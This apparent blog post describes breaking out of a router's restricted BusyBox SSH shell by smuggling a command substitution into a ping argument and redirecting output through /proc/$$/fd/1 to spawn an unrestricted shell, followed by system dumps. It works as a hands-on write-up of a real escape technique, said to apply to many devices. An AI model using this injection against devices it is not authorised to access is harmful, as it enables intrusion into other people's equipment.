Escaping a restricted shell

Background

There is a lot of articles out there that talks about breaking these kind of environments, I’ve read nearly every single one of them to get to know all other techniques that can defeat the defenses of my new router restricted shell, However none of them worked for against this defense ‘style’. A couple of useful articles that i recommend :

Limits

> uptime | sh
Warning: operator | is not supported!
0D 5H 12M 25S
> vi
sshd:error:751.266:processInput:490:unrecognized command vi
> nc
sshd:error:772.496:processInput:490:unrecognized command nc
> &
Warning: operator & is not supported!
sshd:error:797.249:processInput:490:unrecognized command
> ping `sh` 1.1.1.1
Warning: operator ` is not supported!
ping $(ls) 1.1.1.1
BusyBox v1.17.2 (2015-12-09 17:59:39 CST) multi-call binary.
...

Help command outputs all available commands here is what i got list, So no pipes, no netcat, no substitution with backticks nor ampersands, Interestingly the dollar sign is not prohibited which should be another well supported substitution convention $(..) I didn’t get any error indicating that one of those characters are not supported although ls output didn’t get printed, all i got was the usual ping help message, But the absence of the ‘not supported’ message was suspecious enough to keep me going on that road until !

> ping $(echo bingo)
ping: bad address 'bingo'

So $(..) is actually working, But where is the output is the output ?

> ping $(ls w)
ls: w: No such file or directory
BusyBox v1.17.2 (2015-12-09 17:59:39 CST) multi-call binary.

The problem seems to be in the stdout since stderr of ls actually got printed, So it’s stdout must be buried somewhere else, That’s it

> ping $(ls / > /proc/$$/fd/1)
bin      dev      lib      mnt      proc     sys      usr      webs
data     etc      linuxrc  opt      sbin     tmp      var
BusyBox v1.17.2 (2015-12-09 17:59:39 CST) multi-call binary.

So i redirected ls output to the current process stdout, But we still have the restricted rules that prevents some valuable characters, How about ?

> ping $(sh > /proc/$$/fd/1)

BusyBox v1.17.2 (2015-12-09 17:59:39 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

#

And we’re officially inside the house, We can now run any command without any kind of restrictions, Let’s dump some informative data

# mount
rootfs on / type rootfs (rw)
/dev/root on / type squashfs (ro,relatime)
proc on /proc type proc (rw,relatime)
tmpfs on /var type tmpfs (rw,relatime,size=640k)
tmpfs on /mnt type tmpfs (rw,relatime,size=16k)
sysfs on /sys type sysfs (rw,relatime)
# cat /proc/mtd
dev:    size   erasesize  name
mtd0: 0046f000 0046f000 "Physically mapped flash"
# cat /proc/filesystems
nodev   sysfs
nodev   rootfs
nodev   bdev
nodev   proc
nodev   sockfs
nodev   pipefs
nodev   tmpfs
nodev   devpts
        squashfs
nodev   ramfs

After about 2 min i got sshd:error:742.849:prctl_runCommandInShellWithTimeout:174:prctl_collect failed, ret=9809;  and automatically i found myself locked again inside the parent restricted shell but worse i wasn’t able to start a new sub-shell with the trick we did in fact i couldn’t even run the available commands, I’ve found this repo it seems that it is the actual code running behind our restricted shell, This repo also looks interesting it’s mentioned in the first code, We can see that it is indeed limiting our sub-processes a specific amount of time (only 120s) then it sends a SIGTERM  to request the process for termination. However the only way to launch that unrestricted shell again was by restarting the whole session from the beginning. So i wrote this script, it catches that timeout error and reconnect to our unrestricted sub-shell automatically, it will fit any similar situation, It’s pretty basic.

This very same restricted shell rules are implemented in many other devices from different manufactures/companies all over the world.